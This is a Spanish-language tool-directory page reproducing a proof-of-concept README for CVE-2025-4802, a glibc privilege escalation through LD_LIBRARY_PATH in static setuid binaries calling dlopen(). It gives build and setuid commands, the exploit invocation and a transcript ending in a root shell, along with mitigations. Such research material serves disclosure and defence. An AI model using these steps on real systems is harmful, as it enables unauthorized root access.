Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-4802-Proof-of-Concept — Prueba de concepto para un binario compilado estáticamente setuid vulnerable a dlopen con LD_LIBRARY_PATH | Kitploit
Herramientas/GitHubGitHub/betim-hodza/cve-2025-4802-proof-of-concept
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubbetim-hodza/cve-2025-4802-proof-of-concept

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-4802-Proof-of-Concept

Prueba de concepto para un binario compilado estáticamente setuid vulnerable a dlopen con LD_LIBRARY_PATH

Ver Repositorio
2hace 6 mesesAún no revisado

CVE-2025-4802 — Prueba de Concepto

⚠️ Aviso: Este repositorio es solo para fines educativos y de investigación de seguridad autorizados. No use este exploit contra sistemas que no posea o para los que no tenga permiso explícito para probar. El uso indebido puede violar leyes y regulaciones.

Resumen de CVE

CampoDetalles
CVE IDCVE-2025-4802
Software AfectadoGNU C Library (glibc)
Versiones Afectadas2.27 – 2.38
Tipo de VulnerabilidadEscalada de Privilegios mediante LD_LIBRARY_PATH no confiable
Vector de AtaqueLocal

Descripción

Una vulnerabilidad en la Biblioteca C de GNU (glibc) versiones 2.27 a 2.38 permite a un atacante explotar la variable de entorno LD_LIBRARY_PATH en binarios setuid compilados estáticamente que llaman a dlopen().

Normalmente, el enlazador dinámico sanitiza LD_LIBRARY_PATH para programas setuid. Sin embargo, los binarios compilados estáticamente omiten por completo el enlazador dinámico, por lo que LD_LIBRARY_PATH nunca se limpia. Cuando dicho binario llama a dlopen() (directamente o indirectamente a través de setlocale() o funciones NSS como getaddrinfo()), glibc resuelve las bibliotecas compartidas utilizando la LD_LIBRARY_PATH controlada por el atacante, lo que permite la ejecución de código arbitrario con privilegios elevados.

Cómo Funciona

  1. Un binario setuid root compilado estáticamente llama a dlopen("myso.so", ...) para cargar un objeto compartido por nombre (no una ruta absoluta).
  2. Debido a que el binario está enlazado estáticamente, el enlazador dinámico (ld-linux.so) nunca se ejecuta, por lo que LD_LIBRARY_PATH no se sanitiza.
  3. Un atacante crea un objeto compartido malicioso (myso.so) que exporta el mismo símbolo hello() pero genera un shell root.
  4. El atacante establece LD_LIBRARY_PATH para que apunte al directorio que contiene la biblioteca maliciosa.
  5. Cuando el binario setuid se ejecuta, carga la biblioteca del atacante en lugar de la legítima, ejecutando código arbitrario como root.

Estructura del Repositorio

root@kitploit:~
.
├── main.c                          # Código fuente del binario setuid vulnerable
├── myso.c                          # Objeto compartido legítimo (seguro)
├── evil_library/
│   └── evilso.c                    # Objeto compartido malicioso (genera shell root)
├── proof_of_concept_screenshot.png # Captura de pantalla del terminal del exploit
├── proof_of_concept_video.mp4      # Video explicativo
├── Makefile                        # Automatización de compilación
└── README.md

Requisitos Previos

  • SO: Fedora 39 (o cualquier distribución Linux con glibc vulnerable)
  • Versión de glibc: 2.27 – 2.38 (verifique con ldd --version)
  • Paquetes: gcc, make
  • Acceso root para establecer el bit setuid

Pasos de Reproducción

1. Compilar Todo

root@kitploit:~
make all

O manualmente:

root@kitploit:~
# Compilar el objeto compartido legítimo
gcc -shared -o myso.so -fPIC myso.c

# Compilar el binario vulnerable (enlazado estáticamente)
gcc -static -o main main.c -ldl

# Compilar el objeto compartido malicioso
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Establecer el Bit Setuid (requiere root)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. Ejecutar Normalmente (comportamiento seguro)

root@kitploit:~
./main

Salida esperada:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. Explotar con LD_LIBRARY_PATH (comportamiento malicioso)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

Salida esperada:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

Prueba de Concepto

Proof of Concept Screenshot

También hay un video explicativo disponible: proof_of_concept_video.mp4

Mitigación

  • Actualice glibc a una versión parcheada (> 2.38)
  • Evite el enlace estático para binarios setuid que usan dlopen()
  • Use rutas absolutas en las llamadas a dlopen() en lugar de nombres de biblioteca simples
  • Elimine privilegios antes de llamar a dlopen()
  • Use banderas de endurecimiento del compilador/enlazador y evite setuid cuando sea posible

Recursos

  • NVD — CVE-2025-4802
Descargar herramienta